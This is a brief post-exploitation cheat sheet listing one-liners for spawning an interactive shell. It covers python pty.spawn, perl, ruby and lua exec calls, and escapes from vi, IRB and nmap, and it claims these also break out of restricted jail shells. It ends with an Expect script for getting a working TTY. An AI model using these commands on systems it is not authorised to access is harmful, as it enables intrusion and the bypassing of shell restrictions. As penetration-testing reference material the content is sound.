TTY SPAWN

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

```
echo os.system('/bin/bash')
```

```
/bin/sh -i
```

```
perl —e 'exec "/bin/sh";'
```

---

perl:

```
exec "/bin/sh";
```

ruby:

```
exec "/bin/sh"
```

lua:

```
os.execute('/bin/sh')
```

(From within IRB)

```
exec "/bin/sh"
```

(From within vi)

```
:!bash
```

(From within vi)

```
:set shell=/bin/bash:shell
```

(From within nmap)

```
!sh
```

Many of these will also allow you to escape jail shells. The top 3 would be my most successful in general for spawning from the command line.

Using "Expect" To Get A TTY

```
$ cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact

sh: no job control in this shell
sh-3.2$ expect sh.exp
spawn sh
sh-3.2$ ssh localhost
```